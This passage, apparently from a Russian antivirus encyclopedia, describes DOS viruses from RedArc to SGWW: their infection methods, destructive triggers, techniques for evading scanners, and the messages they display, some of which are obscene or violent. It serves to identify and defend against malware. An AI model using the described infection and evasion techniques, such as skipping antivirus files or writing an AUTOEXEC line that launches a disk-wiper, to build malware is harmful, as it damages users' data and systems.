Опасный нерезидентный вирус. Разрушает файлы *.-*, *.ms. Иногда выводит
текст:
ТЫ ХОТЕЛ УВИДЕТЬ НЕБО? ГОЛУБОЕ-ГОЛУБОЕ?
ТЫ ХОТЕЛ УВИДЕТЬ НЕБО?
НЕВИДАТЬ ЕГО СО МНОЙ!
и "завешивает" систему. Содержит строку "Helga".
RedArc.Stinger
Неопасный нерезидентный шифрованный вирус. Иногда выводит на экран
строку "STINGER".
RedArc.Vesna.1000 (1,2), 1614, 1724, 1751, 1833
Опасные нерезидентные вирусы. Удаляют файлы ch*.* и *.---. Vesna.1000
(1) в пятницу 13го числа выводит текст:
Friday 13th ?
Friday 13th ...
Friday 13th !
Good bye !
Vesna.1000 (2) 22 июня выводит строку "*KILLER*" и разрушает EXE-файлы,
приписывая им в конец 3 байта, производящих перезагрузку системы (CD
19). Vesna.1724 в марте выводит текст:
Bad command or file name
DOS not support!
You have virus!
Press any key to reboot...
Vesna.1833 в пятницу 13го выводит следующие тексты:
Friday 13th !
You have virus !
My name is GARRY ...
I fuck your PC !
Vesna.1614,1751 при совпадении дня недели и дня месяца в нечетные часы,
совпадающие со значением минут, выводит одно из следующих сообщений:
Весна пришла!
Unpress key TURBO to continue...
Format drive c: completed
PRESS RESET TO CONTINUE
Пора пить кофе!
Здесь был Игорь Д.
I LOVE
LORA
VESNA "LORA" (c) 1994,96 by Red Arc -=* Uni Tula *=-
или
Слышь, ты... чувак...
передай привет Веденеевой Лорисе!
VESNA (c) 1994,96 -=* Uni Tula *=-
И под мигание лампочек клавиатуры и дисководов система "зависает".
Vesna.1751 не заражает файлы из списка (по 2 буквы на имя файла):
aicodrwetbmsmvavscadutanatsdncvcdnwiioibvi. Различные версии вируса
содержат следующие тексты "My name is GARRY", "*TULA*", "Это зделано в
ТулЕ", "TULA", "Пришла весна !", "Здесь был Игорь Д.", "ОЛЕЧКА", "TYPE
HAPPY BIRTHDAY GARRY".
RedLaugh.607
Неопасный резидентный вирус. При старте любой программы, вирус
окрашивает экран в красный цвет и выводит текст:
Красный смех гуляет по стране...
01/21/96 by FDD.
ReedCat.916
Содержит строку "" Камышовый Кот ХПИ 1992 "".
Remute.779
Неопасный резидентный вирус. Содержит тексты "A long time ago,in very
remute institut ...", "LIGHT in the DARK".
Renegade.1176
Опасный резидентный вирус. Заражает EXE-файлы при их запуске или при их
открытии. Заражает довольно необычным способом: считывает 1024
последних байт файла, записывает на их место 1176 байт своего кода, а
затем - считанные 1024 байта. При этих манипуляциях вирус не
корректирует таблицу перемещаемых символов (relocation table), в
результате чего инфицированная программа может быть неработоспособной.
11 числа каждого месяца выводит текст:
(C) Renegade 1994. Hello Hacker`s !!!
Renegade.4509
Очень опасный резидентный шифрованный файлово - загрузочный вирус.
Заражает COM, EXE-файлы и MBR всех жестких дисков, присутствующих в
компьютере. После 55 загрузок с инфицированного MBR вирус устраивает
видеоэффект "плавающих" цветных линий по экрану, шифрует жесткий диск
и выводит на экран "бегущей строкой" текст:
Please wait ...
Hey , LAMER ! Are you all right ?.. Not so good ?..
Oh, don't be afraid my little baby ,angry wolf if far away !......
bUt I aM sTiLL HeRe ! AnD i Am HuNGRrry ! Aaarrrgghhh !...
YoU iS _fOxPro or pAsCAL_pROGraMmeR , iSn't It ?...
Oogghh , YeEsss ! I WaNt to EaT YoU NoWww !
NoW YoU WiLL bEcOme ViCTiM of HACKER's REVENGE !
Внедряется в середину COM и EXE-файлов, корректируя адреса перемещаемых
элементов для EXE-файлов. Не заражает файлы, содержащие в своем имени
буквосочетания WEB, AIDS, ADINF, HIEW, CHKDSK,SCAN,VSAFE,MSAV,CLEAN,-V.
Содержит тексты "Say THANKS to lovely Dr.Web for damage this file...",
"(C) Renegade 1995.".
Reset.607
Неопасный вирус. Если значение минут системного времени больше 54, то
вирус выводит на экран текст "For Main Menu press RESET".
Revelation.4096
Неопасный резидентный полиморфный вирус. В октябрьские воскресенья
выводит на экран текст:
These things saith he that hold TASM in his right hand and walketh
amongst the FAT tables, boot sectors, and partition tables.
He that hath a VDU, let him see what I typeth unto the users:
I have a few things against thee, because thou sufferest that whore
software security, and commit anti-virus protection.
Behold, I will cast thou unto limbo, and them that repent their
deeds shall be spared the low-level drive format.
Remember therefore how thou hast recieved and heard, and hold fast,
and repent. If therefore thou shalt not repent, I will come on thee
as a thief, and thou shalt not know what hour I will come upon thee.
- Revelation Alpha.
Также содержит тексты:
Genesis
Revelation Virus Alpha
Exodus
Copyright (c) 1991 by Transvisionary
Reverse.948
Неопасный резидентный вирус. Содержит строку "moc.dnammocexe.niamcn".
Не заражает файл NCMAIN.EXE. Командный процессор COMMAND.COM заражает,
внедряясь в область нулей, и не увеличивает его длину. Содержит еще
одну текстовую строку "Red Spider Virus created by Garfield from
Zielona Gora in Feb 1993".
Rex.1637
Опасный резидентный файлово-загрузочный полиморфный вирус. При
заражении MBR "винчестера" не сохраняет оригинальный сектор. После 99
загрузок с инфицированного диска вирус производит некоторые манипуляции
с клавиатурой (INT 16h). Содержит текст "REX".
Rift.480
Неопасный резидентный вирус. Заражает файлы только при смене каталога
(f.3Bh Int 21h). Содержит текст "Rift Villy v.3.1".
Riot.309
Очень опасный нерезидентный вирус. Может уничтожить 1234 секторов диска
C:. Первым делом стремится заразить файл c:\dos\doskey.com. Содержит
текст "(c) 1994 Metal MilitiaImmortal Riot, Sweden".
Riot.Demand
Опасный overwriting вирус. Создает файл C:\INFERNAL.IR, в который
записывает следующий текст:
Infernal Demand! (c) Metal Militia / Immortal Riot
Your misery is our pleasure!
Your nightmare is our dream!
Your hell is our paradise!
Your lost is our demand!
Your cry is our laugh!
And your fate is ours!
Riot.Enemy.757
Содержит текст:
Unknown Enemy (c) Metal Militia/Immortal Riot
I'm hurt, machineguns firing behind my back
Never had no chance, no way to do a attack
Thisone sure is the last time i guess
Heading for a private deathrow, nothing less
Blood, quickly pumping out from the vound in the vain
Damn, this moment makes you sort of go insane
Close my eyes, had much left to see
Was my fault, but did they have to do it, gee?
Promise me, this hit you will remember
Take one of them down before winter comes in december
Why that month? Well, i like it very much
Fresh, cool air, wonders of the snow to touch
The world is wonderful, what else to say?
Just remember this shit, cause it happends every day
Riot.Evil.769
Неопасный резидентный вирус. Вперемешку с инструкциями ассемблера рас-
положены следующие текстовые строки:
Our past is our future!
[INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot
Dedicated to all the victims..
Greets to B-real!/IR
It's like this and like that and like thisena
It's like that and like this and like thatena
It's like this..
Love to Lisa!
All i ever wanted..
All i ever asked for..
Riot.Flood
Очень опасный резидентный вирус, перезаписывающий программный код. При
старте таких программ вирус выводит фразу "Bad command or filename".
21 числа выводит текст "Hey Bud.. You picked the leave with the virus
on it!". Имеет текст "Burn:CycleYou picked the leave with the virus on
it!(c) Atomic Morphine/ FLooD 1999".
Riot.Marked.354
При старте выводит сообщение "Bad command or filename", а 21 числа:
In any country, prison is where society sends it's
failures, but in this country society itself is faily
Внутри вируса имеется также текст:
Marked-XWill we ever learn to talk with eachother?
(c) Metal Militia/Immortal Riot
Riot.Multiplex
Опасный нерезидентный вирус. 5 числа уничтожает 256 секторов диска C:.
Содержит тексты "MULTiPLEX (c) 1994 Metal Militia\ Immortal Riot,
Sweden*. Somewhere, somehow, always :)*.com", "JUNK", "ImRio".
Riot.Pollution
Опасный резидентный вирус. Иногда уничтожает содержимое CMOS-памяти.
6 июня проигрывает какую-то мелодию. Содержит строку "Digital Pollution
(c) '94 Raver/Immortal Riot".
Riot.RatBoy.513, 545, 671
Очень опасные нерезидентные вирусы. По воскресеньям после 15 числа
пытаются уничтожить содержимое всех логических устройств жесткого
диска, записывая в сектора строки:
Riot.RatBoy.513 - "RaTBoY HaTeS YoU!!! Ihater-u-all\JUNK TEST".
Riot.RatBoy.545 - "RaTBoY WaS HeRe!!! My Vx, Invircible Killer".
Riot.RatBoy.671 - "RaTBoY Loves Mrs. RaTBoY!!! \JUNK TEST".
Riot.RatBoy.545, 671 уничтожают некоторые файлы, видимо, таблицы
антивируса InVircible.
Rmb
Очень опасный загрузочный вирус. При заражении не сохраняет
оригинальные загрузочные сектора. При нажатии на Ctrl-Break вирус может
уничтожить по 14 секторов на всех головках "винчестера".Содержит строку
"RMBDRMCCQBDWRM".
Rmns.651, Rmns.736
Содержат строки "----" - R.M.N.S. - Test Virus .COM 651 "----" или
"----" - R.M.N.S. - Test Virus .COM 736 "----".
Rock.1076
Неопасный нерезидентный вирус. По четным числам с 10-го по 26-е, кроме
декабря, субботы и воскресенья, оставляет в памяти резидентный код,
который "трясет" экран по 20 секунд каждые 20 минут.
Rogue.1208
Опасный резидентный вирус. Уничтожает файлы с расширением DBF,
записывая в них первый байт 'R' и производя с остальным содержимым
файла операцию XOR 0Dh, до первого символа 0Dh. Уничтожает файлы
CHKLIST ???. В месяц, когда сумма значения года и значения месяца равна
2000 вирус выводит текст:
Now you got a real virus! I'm the ROGUE ...!
Roman.1995
Неопасный резидентный шифрованный вирус. При старте программы DRWEB
вирус обезвреживает свою резидентную копию (освобождает INT 21h),
которая в дальнейшем (через INT 1Ch) опять восстанавливает свою
работоспособность. При удалении файла ROMAN!.113 вирус выводит на
экран текст:
Внимание! В системе находится вирус Roman (1) Virus!
Это абсолютно безвредный вирус, заражающий .COM файлы.
Никаких причин для беспокойства нет. Он написан автором
просто ради спортивного интереса. Если Вам нежелательно его
присутсвие в системе (а он Вам ничем не помешает), просто уда-
лите все .COM файлы, содержащие на 4 и 5 позиции от начала
символосочетание "RB" - это признак инфицированности - и пере-
запустите компьютер.
Roman (1) Virus написан осенью 1997 года.
(C) -= Pilz =-, 16 years old.
Экспериментальная школа, физико-математический лицей.909-436X
Нажмите на любую клавишу, чтобы продолжить работу.
RP (1,2)
Опасные загрузочные вирусы.RP (1) 17 декабря выводит текст "RP wants to
say hello!" и уничтожает MBR. RP (2) в мае выводит текст "Only bugs
exist!".
RPS (1-3)
Очень опасные загрузочные вирусы. Заражают MBR винчестера и сектора
флоппи-дисков, не сохраняя оригинальные загрузчики. При 50-ой загрузке
с инфицированного диска, или при попытке записи в инфицированный MBR,
или при не нахождении активного загрузочного сектора, вирусы уничтожают
информацию в секторах дисков. Содержат тексты "RPS", "RPS2", "RPS3".
RTP.Demo.4838
Неопасный нерезидентный полиморфный вирус. Содержит тексты:
RTP 0.1b Demo Virus (c) 1998, The Soul Manager
Greetings Mr Kaspersky, we've been expecting you ;)
If you can see this text, you are reading AVPVE!
Red Team Polymorphy 0.1b - (c) 1997 The Soul Manager [IR/G]
Ruchawi.2548
Очень опасный зашифрованный вирус. 14 января выводит текст:
Today is my birthday. /// Dzisiaj obchodze urodziny.
Wish me all the best. /// Zycz mi wszystkiego najlepszego.
Ruchawi(R)
После этого шифрует MBR, записывает его на свое место и сохраняет ключ
расшифровки в памяти. Выводит текст:
Do not turn off your machine for 5 days, becouse most important data
from your HD may be lost!!!
Nie wylaczaj swojego komputera przez 5 dni, bo mozesz stracic
wazne dane z twardego dysku!!!
You work too much!!! Go to bed!!!
Pracujesz zbyt wiele!!! Idz spac!!!
После чего пытается ждать 5 дней, чтобы возвратить MBR в исходное
состояние. Но в данном месте допущена ошибка, в результате которой и
через пять дней и через месяц работы MBR не будет расшифрован. А после
5 дней "невыключения" компьютера предусматривался следующий текст:
Now, you can turn off your machine.
Mozesz wylaczyc komputer.
Rush.681
Опасный резидентный шифрованный вирус. 19 числа выводит на экран текст:
Меня,я знаю,ты любила,
Его,наверное,хотела,
Раздвинуть ноги поспешила,
Кому теперь какое дело?
После чего пытается уничтожить 255 секторов первого жесткого диска.
RushHour (1-3)
Опасные вирусы. При вызове Int 10h (вывод на экран) "щелкают"
динамиком. Содержат текст:
This program is a VIRUS program.
Once activated it has control over all
system devices and even over all storage
media inserted by the user. It continually
copies itself into uninfected operating
systems and thus spreads uncontrolled.
The fact that the virus does not destroy any
user programs or erase the disk is merely
dueto a philanthropic trait of the author......
Russel.3072
Неопасный резидентный полиморфный вирус. Имеет текст "RUSSEL FARADAY".
По возможности устанавливает свою резидентную копию в область UMB.
Sabotager.3133
Неопасный резидентный полиморфный вирус. При выводе на экран слова
"Лозинский" (видимо, при старте программы Aidstest) вирус выводит на
экран картинку черепа (см. Phantom1.7000) и текст:
ПИШИТЕ ЖАЛОБЫ В ООН!
SABOTAGER
Версия 1.0
Written by
S H U L D E R
Нажми любую клавишу ...
ожидает нажатия на клавишу и заканчивает работу стартовавшей программы.
Salman.2000
Опасный нерезидентный вирус. Удаляет файлы chklist.ms,chklist.cps,
c:\signture.dat. Не заражает файлы: SCAN.EXE, CLEAN.EXE, NAV.EXE,
PACRUN.EXE. Выводит текст "Kill Salman Rushdie and Taslima Nasrin !".
Имеет строку "Kill them !!!".
Sampo
Неопасный Boot-вирус. При заражении компьютера проверяет заражен ли уже
компьютер вирусами Michelangelo, Stoned, Joshi и при нахождении оных
удаляет их. Иногда пытается спрятать себя "под личиной" вируса
Telefonica. Переживает "теплую" перезагрузку (Ctrl-Alt-Del). 30 ноября
выводит текст:
г==========================¬
¦ S A M P O ¦
¦ "Project X" ¦
¦ Copyright (c)1991 by the ¦
¦ SAMPO X-Team. All rights ¦
¦ reserved. ¦
¦ University Of The East ¦
¦ Manila ¦
L==========================-
Sandrine.445
Очень опасный резидентный вирус-спутник. В зависимости от своих
внутренних счетчиков может удалить файл C:\CONFIG.SYS, создает новый
файл C:\AUTOEXEC.BAT, содержащий строки:
@ECHO OFF
C:\SANDRINE.COM
Также создает файл C:\SANDRINE.COM, который при старте уничтожает 10
первых секторов жесткого диска и выводит сообщение "Sandrine
Baillieux thoughts of you are in my mind (c)1994 by BrokenHeart".
Sara.1214
Очень опасный нерезидентный вирус. При запуске инфицированной
программы, вирус проигрывает мелодию, выводит порнографическую картинку
(о воспроизведении которой здесь не может идти и речи),производит поиск
*.EXE-файла в текущем каталоге и записывает в него и в файл
C:\COMMAND.COM свой код поверх программного кода. Содержит в себе
текстовые строки: "Darkest Avenger", "Isnt dedicated to Sara Gordon",
"Its dedicated to her GROOVE!".
Saratov.1790
Опасный резидентный вирус. Уничтожает содержимое файла CHKLIST.MS.
Иногда выводит сообщение "Thanks for using Saratov software.". Не
заражает файлы, начинающиеся на EVR,WD.,800,COM,DRW,ANT,AID,WEB,WIN,
KRN,SCA,CLE,PT., а также при обнаружении на экране слова Web. При
запуске любой программы с командной строкой "/C Vir", вирус изменяет
ее на "/C Ver" и выводит текст "The File Corrector v2.0. Made in
Saratov. Serial #????".
Sarov.1000, 1140, 1200(1,2)
Резидентные шифрованные (Sarov.1200 - полиморфный) вирусы. Заражают COM
-файлы при их поиске (f.11h, 12h, 4Eh, 4Fh Int 21h). Перехватывают INT
1, 8, 9, 21h. Контролируют трассировку своего кода, изменяют статус
флоппи-дисков, пропускают символы, введенные с клавиатуры. Имеют тексты
Sarov.1000 - "BIL`92`S",
Sarov.1140 - "BIL_92_Sarov",
Sarov.1200 - "[BIL_92_Sarov]".
SatanBug (1-3)
Безобидные резидентные полиморфные вирусы. Используют довольно сложный
алгоритм шифрования своего кода. Резидентная часть вируса также
является полиморфной. При получении управления (INT 21h f.3Dh и f.4Bh)
вирус сначала расшифровывает свое тело в памяти, а затем уже отдает ему
управление. Содержит строки: "Satan Bug virus - Little Loc",
"COMSPEC=COMMAND.COM".
SatanBug.1568
Полиморфный вирус. Перехватывает INT 21h, причем смещение обработчика
прерывания может, в зависимости от времени старта, находиться в
различных непостоянных адресах.
SatanBug.FruitFly
Опасный нерезидентный полиморфный вирус. Использует алгоритм шифровки,
"заимствованный" из вируса SatanBug. Уничтожает файлы VS.VS и
CHKLIST.CPS. Содержит строки: "Fruit Fly virus - Little Loc",
"Hacker4Life", "Hackers In ThE Mist".
Satria (1-4)
Неопасные загрузочные вирусы. 4 июля или при заражении MBR выводят
на экран картинку:
---- · · · · ---- ----
---- · · · · ---- ----
---- · · · ---- ----
---- · · ---- ----
---- · · -----------
---- · -----------
Могут содержать тексты "My Honey B'day" или "Satria".
Sayha.DieHard (1-5)
Опасные резидентные шифрованные вирусы. Перехватывают INT 10h,13h, 21h.
Трассируют данные прерывания для выяснения адресов оригинальных
обработчиков и для попытки "внедрения" в цепочки обработчиков
прерываний. При открытии ASM-файлов записывают в них следующий текст:
.model small
.code
org 256
s: push cs
pop ds
call t
db 'Те$'
t: pop dx
mov ah,9
int 33
mov ah,76
int 33
end s
В файлы с расширением PAS записывают:
begin
write('Те');
end.
При установке графического режима (#13h 320x200 256 цветов) вирусы
рисуют в центре экрана буквы "SW". При возникновении ошибок (переход за
границу 64K при работе с DMA и данные скорректированы с использованием
ECC), при попытке записи на диск, вирусы пытаются исправить данные
ошибки! Содержат текст "SW Error", "SW DIE HARD 2".
Sayha.Watpu
Неопасный резидентный вирус. Основная часть кода вируса зашифрована, и
вирус производит шифрацию своих участков во время работы. При
инсталляции в память вирус трассирует INT 13h, INT 21h. Причем он может
не просто перехватить INT 21h, а "вклиниться" в цепочку обработчиков
INT 21h, подменяя адрес перехода в прямых или косвенных межсегментных
инструкциях передачи управления (jmp far ptr ?:?, call far ptr ?:?, jmp
dword ptr [?], call dword ptr [?]). В связи с этим вирус трудно
обнаружить в памяти, если не проследить всю цепочку обработчиков INT
21h. 3 и 18 числа любого месяца, а также 15 сентября может вывести
сообщение "SW Error". Вирус также перехватывает INT 16h (клавиатура).
Иногда, при нажатии на клавишу "F1", может вывести:
----- - -
---- ayha - -
- - - - -atpu
--- - -
Sb.645
Неопасный нерезидентный вирус. Содержит текстовые строки:
*** (V) Sergey Babitch - 2:463/83@FidoNet - phone (044) 4420831 ***
SB
Sch.461
Неопасный нерезидентный вирус. Содержит строку "SchSch57".
Schizo.398
Неопасный резидентный вирус. Содержит строку "Schizophrenia".
Scoundrel.3323
Неопасный резидентный полиморфный вирус. Заражает файлы при их старте
(f.4B00h INT 21h) и при их закрытии (3Eh). При открытии файлов (3Dh,
6Ch), информации об атрибутах (43h), переименовании (56h), поиске (11h,
12h, 4Eh, 4Fh) и загрузке в память без выполнения (4B03h) удаляет свой
код из файлов, к которым происходят данные обращения. Предпринимает
всяческие попытки, затрудняющие анализ вирусного кода. Иногда выводит
на экран текст:
SoftPecker v.1 (C) 1992 by ScoundrelSoft - 'Your pleasure is our business'
Scroll.600 (1,2)
Неопасные вирусы. Scroll.600 (1) - нерезидентный, а Scroll.600 (2) -
резидентный вирусы. Scroll.600 (1) иногда выводит на экран строку
" Scroll v1.0 " и начинает "вращать" экран до нажатия пользователем
на любую клавишу. Scroll.600 (2) "перехватывает" INT 9 и при нажатии на
Ctrl-Alt-Del "проворачивает" снизу вверх экран, не перегружая систему.
Sds.1906
Очень опасный зашифрованный вирус. 10 января, 16 апреля, 4 июня и 1
сентября уничтожает содержимое CMOS-памяти.Иногда уничтожает содержимое
секторов дисков. Содержит тексты "COMMAND.IBM", ""2147"".
Search.4148
Неопасный нерезидентный вирус. Производит поиск и заражение *.COM и
*.EXE-файлов, доступных через переменную среды PATH=. EXE-файлы
превращает в файлы COM-формата, путем записи в EXE-файл стандартной
программы-конвертора, после чего заражает такой файл, как обычный COM-
файл. Создает файл AIDSTEST.EXE, который при старте имитирует работу
данного антивируса и выводит следующие сообщения:
г==================================¬ Для НАДЕЖНОГО ЕЖЕДНЕВНОГО антивирусного
¦ А О " Д и а л о г H а у к а " ¦ контроля рекомендую не хлопать ушами.
¦ Антивирус AIDSTEST ¦ - ревизор ADinf и полифаг Doctor Web
¦ Версия 1095 от 30.01.95 ¦ - аппаратно-программный комплекс Sheriff
¦ (c) Copyright 1990-95 ¦
¦ Лозинский Дмитрий Николаевич ¦ Информация - в файле aidsvir.txt
¦ Москва, тел./факс (095) 938-2970 ¦ - газете "Человек и Компьютер", инд.50165
¦ тел. 135-6253, 137-0150 ¦ - еженедельнике "КомпьюТерра", инд.32197
¦ BBS 938-2856 (14400/V.32bis) ¦
¦ E-mail loz@dials.msk.su ¦ СПРАВКИ об услугах, условиях - aidstest /d
¦ FidoNet 2:5020/69 ¦
L==================================- Антивирусная СКОРАЯ ПОМОЩЬ - тел.939-5212
Проверка диска C:
Проверено файлов:
Заражено файлов: 0
- начальных секторов: 0
Следов вирусов DIR: 0
Обработать еще один диск ? (Y/N):
Не обольщайтесь результатами проверки устаревшей версией Aidstest.
В связи с постоянным появлением новых вирусов и их модификаций
обновление программы производится несколько раз в месяц.
Если Вы хотите всегда иметь последнюю версию,
а также внести свой вклад в становление цивилизованного рынка программ
в нашей стране, станьте ЗАРЕГИСТРИРОВАННЫМ пользователем.
Для получения информации об услугах и условиях запустите - AIDSTEST/d
Это заглушка программы AIDSTEST, записанная сюда вирусом SEARCH-4148.
Также создает файл INF_301.LOG в который записывает протокол своих
действий:
* Демонстрационный вирус класса SEARCH (4148) *
Поиск по PATH, заражает *.COM начинающиеся с E9 и *.EXE
(переделывает в COM по типу format.com).
За 9 байт от EOF сохраняется оригинальный вход (3 байта нач с E9),
далее оригинальная длина (DW), служебный делитель (DW) и сигнатура (DW).
Время увеличивает на 2 с, если есть куда, иначе уменьшает.
"" SEAR4148.COM ver 3.01 32-04-1995 "" за очередной сеанс обработал:
100.EXE
100.COM
------------
Seat.1614, 1868, 2389, 2419
Неопасные резидентные вирусы. Seat.2389, 2419 - полиморфные. Иногда
рисуют на экране в текстовом режиме изображение голого зада с видео и
звуковыми эффектами.
Sebo.2048
Неопасный резидентный вирус. Производит чтение загрузочных секторов
дисков в дисководе A:. При нахождении слова 880h по смещению +8 (???) -
пищит динамиком.
Secretary
Неопасный загрузочный вирус. 30 числа выводит на экран текст:
Hard disk is very bad.
Zuganov is very good.
Do you want format drive C: (Y/N) ?
Имеет также строку "Zuganov".
SeeYou
Очень опасный загрузочный стелс-вирус.При старте какой-то EXE-программы
длиной 100K вирус удаляет свой код из загрузочного сектора жесткого
диска. Если удвоенное значение числа равно значению месяца, то вирус
уничтожает по 4 дорожки на 2 цилиндрах каждого логического раздела
первого жесткого диска и выводит сообщение "See you later ...". 20
октября вирус выводит другое сообщение: "Happy birthday Populizer!".
Select.1112
Неопасный резидентный вирус. В воскресенье при нажатии на Ctrl-Alt-Del
проигрывает мелодию и выводит текст "·-=ЁSELECTRONICS·SOFTWAREЁ=-·".
Также содержит строку "(C) Selectronics Software".
Sentinel.4636, 5173
Неопасные резидентные вирусы. Написаны на языке Turbo Pascal. Содержат
зашифрованный текст "You won't hear me, but you'll feel me... (c) 1990
by Sentinel. Thanks Borland.".
SerNo.1471
Очень опасный полиморфный вирус. Уничтожает содержимое 2000 секторов
диска C:. Изменяет значение случайного байта в случайном секторе
жесткого диска. Если инфицированная программа будет запущена с
параметром '??', то вирус выведет на экран строку "V1.01 ser.No :
00001", где в качестве параметра (в приведенном примере - 00001)
используется счетчик заражений.
SGWW - вирусы.
Вирусы созданные группой лиц, называющих себя SGWW (Stealth Group World
Wide). Данный конгломерат начинал свою деятельность в Киеве на Украине.
SGWW.Ace
Опасный резидентный шифрованный вирус. Заражает COM-файлы и объектные
файлы (OBJ) EXE-модулей. При старте программы, имя которой начинается
на букву "W", вирус может вывести на экран текст:
This program wastes a lot of memory,
SYSTEM HALTED...
После чего программа уничтожается (обнуляется ее длина) и система
"перезагружается" вирусом. Вирус содержит текст "(C) Ace of Spades ,
Kiev-1995... Don't be a snub - enjoy yourself!".
SGWW.Amber.1408
Неопасный нерезидентный полиморфный вирус. Содержит строки "[Trivial]",
"[AMBER1.07@beta]". Предназначен для демонстрации полиморфного
генератора Amber,созданного украинским вирусописателем Костей Волковым
(Reminder).
SGWW.Amber.2724
Неопасный резидентный полиморфный вирус.Содержит тексты "[·This is only
ForeWord·]", "[AMBER1.07@beta]".
SGWW.Beast.1216
Неопасный резидентный шифрованный вирус. Содержит текст "(c) Beast.
Advanced Disk Infector. [ADinf v1.5]".
SGWW.Beast.1347
Неопасный нерезидентный шифрованный вирус. При заражении использует
упрощенные механизмы из вирусов семейства OneHalf. Содержит тексты:
(c) Copyright by Beast.
(c) Stealth Group Bishkek.
(c) Stealth Group World Wide.
Infection by Beast. v0.91
Stealth Group World Wide.
[Bomber v1.0] by Beast. Stealth Group World Wide.
SGWW.Freemun
Неопасный нерезидентный вирус. Имеет текст "3мун".
SGWW.Happy
Неопасный нерезидентный вирус. Содержит текст "HAPPY v1.03 (C)
PROFESSOR,KPI".
SGWW.Killer.3072 (1-3), 3584 (1,2)
Очень опасные резидентные полиморфные вирусы. В первых числах месяца
могут уничтожить содержимое первых двух жестких дисков. Не заражают
файлы, начинающиеся на AIDS,CHKD, WEB, SCAN,AR, ZI, TB. Содержат тексты
"EMME v3.0. KILLER.", или "Multilevel Encryptor v1.0. Generation:",
"-=Killer=-", или "EMME v4.0. -= KILLER =-", или "-=Unlimited Grief=-",
"Kiev'96".
SGWW.Light
Неопасный нерезидентный вирус. Содержит тексты:
This virus was made for Computer Virus Club `Stealth`
Our address : Kiev 148 - box 10
(c) Light General.Kiev.1995.For free use!
КИЕВСКИЙ МЕЖДУНАРОДНЫЙ УНИВЕРСИТЕТ ГРАЖДАНСКОЙ АВИАЦИИ
SGWW.Maverick.1536 (1,2)
Полиморфные опасные вирусы. Если значение месяца совпадает со значением
дня или значение дня в 2 раза больше значения месяца, то вирусы
пытаются уничтожить содержимое секторов 6 головок жесткого диска. Но в
данной процедуре имеется ошибка, и уничтожение не произойдет. Автору
вирусов можно посоветовать до конца отладить свои намерения на своем
компьютере. Содержат текст: "(c) ETERNAL MAVERICK. Kiev Computer Virus
Club 1994.".
SGWW.Maverick.2048
Опасный полиморфный вирус. Если значение дня равно значению месяца+1
или +2, то вирус устанавливает INT 13h (операции с диском) на INT 04
(INTO). Если значение дня равно значению месяца+2, то вирус выводит
текст:
г================================¬
¦ -----------------------------¬ ¦
¦ ¦ LETS REST UNTIL TOMORROW ! ¦ ¦
¦ L----------------------------- ¦
¦ (c) ETERNAL MAVERICK 1995. ¦
L================================-
Press RESET to continue...
Не заражает программы, начинающиеся на AIDS, WEB, CHKD, SCAN.
SGWW.Never.1000
Неопасный резидентный шифрованный вирус. При открытии (f.3Dh Int 21h)
инфицированных COM-файлов, вирус удаляет свой код из них,а при закрытии
(f.3Eh Int 21h) их снова заражает. Содержит тексты "дАнИлОфФ-дУб,wEb-
ГоРбУхА", "[Never-Never] by Int O`Dream", "Киев,4:09am,31/03/96".
SGWW.Nostardamus.1870, 2078, 2184, 2247, 2308, 2500 (1,2), 2560, 5995
Очень опасные резидентные полиморфные стелс-вирусы. Могут уничтожить 80
секторов диска A:. SGWW.Nostardamus.2247 при обращении к скрытым
или системным файлам с расширениями, две последние буквы которых
отличны от OM, YS, XE, VL, записывает в их начало один случайный байт.
Перехватывают INT 16h, 1Ch, 21h. При старте вирусы могут вывести текст:
SGWW.Nostardamus.2078:
NOSTARDAMUS-Optim (c) v1.0 beta
Formating disk C:
40Mb
SGWW.Nostardamus.2184:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.7 beta by Populizer
Formatting disk X:
40Mb
SGWW.Nostardamus.2247:
The NOSTARDAMUS-Erase (c) v2.1 beta
Formating disk C:
40Mb
SGWW.Nostardamus.2308:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.9 beta by Populizer
Formatting disk X:
40Mb
SGWW.Nostardamus.2500:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.9a beta by Populizer
Formatting disk X:
40Mb
ooooooooooooooooo
SGWW.Nostardamus.2560:
The NOSTARDAMUS-Erase (CopyLeft) Version 2.9e beta by Populizer
Formatting disk X:
40Mb
ooooooooooooooooo
Maverick.Nostardamus.5995:
Formatting disk X:
40Mb
ooooooooooooooooo
после чего читают на каждой дорожке по одному сектору, имитируя
форматирование жесткого диска. При нажатии на клавишу во время данного
процесса, вирусы продолжат свою дальнейшую инсталляцию в память.
SGWW.Nostardamus.1870 уничтожает содержимое первого жесткого диска.
Около 18:00 вирусы выводят на экран строку "HOME RUN !!!". В
определенные моменты, при нажатии на F8, Shift-F8, Ctrl-F8 вирусы
игнорируют данные комбинации клавиш, нажатие же Ctrl-F10 изменяют на
нажатие F8. Для файлов, имеющих первые буквы в имени AI и CO или
заканчивающихся на EB, NF, TI, вирусы при их старте обнуляют их
окружение (environment), для невозможности проверки программного кода.
SGWW.Nostardamus.2184, 2500, 2560, 5995 иногда игнорируют запрос на
удаление файлов (f. 13h, 41h Int 21h). SGWW.Nostardamus.5995 иногда
выводит одно из нижеперечисленных сообщений, после чего ожидает нажатия
на клавишу Esc:
Осторожно - на борту бомба! Зачем звал ,Хозяин ?
В дисководе А: две дискеты !! В дисководе КРЫСЫ !!!
Храните деньги в банке !! Кто там ? Это я, Чикатило!
Лучше пива только ФАВТ !!! Да выключите свет наконец!
Извините, а как вас зовут ? Ваше место дома на диване !
Can you FUCK me ? May be ! СНИКЕРС - как у негра в ...
Пиво не роскошь, а средство ! Press CTRL-ALT-DEL ...
AIDSTEST не поможет ! TWIX - то, чего у вас нет!!!
Invalid user. Unknown error ! BOUNTY - нас любят все !!
Good user - Dead user !!! MILKYWAY утонул !
COMMAND.COM умер! Press key.. Запустите AIDSTEST !!!
Яна мы тебя любим !!! У Вас плохой мотор !
Insert new user and press ESC Читайте газету БИЗНЕС !
Пробоина в диске C:,прощайте! Морг рядом !!!
Дядя Вася дом покрасил ! Crazy & Co. ltd.
Прочитайте что такое вирус ! Поздравте меня с зачетом !!!
Вышел чукча на крыльцо . . . LISP - das is круто !
Лозинского на мыло !!! Insert new baks into drive A:
Данилов, мы тебя не уважаем. ... Пить ... Дайте воды ...
Пропал Снупи,ушел на болото.. Меняю жену 40 лет на 2 по 20!
I'm big RUSSIAN monstr !! Залипание клавиатуры!
System error, invalid TC.EXE. Утро вечера - мудренее !!!
